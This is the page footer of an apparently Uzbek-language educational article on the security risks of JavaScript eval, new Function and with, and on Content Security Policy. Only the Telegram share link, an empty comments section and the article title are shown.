Ulashish:Telegram'da

Izohlar (0)

Izoh yozish uchun kiring.

  • Hozircha izoh yo'q. Birinchi bo'ling!
JavaScript eval, new Function va with: satrdan kod bajarish xavfi va CSP — IlmHamroh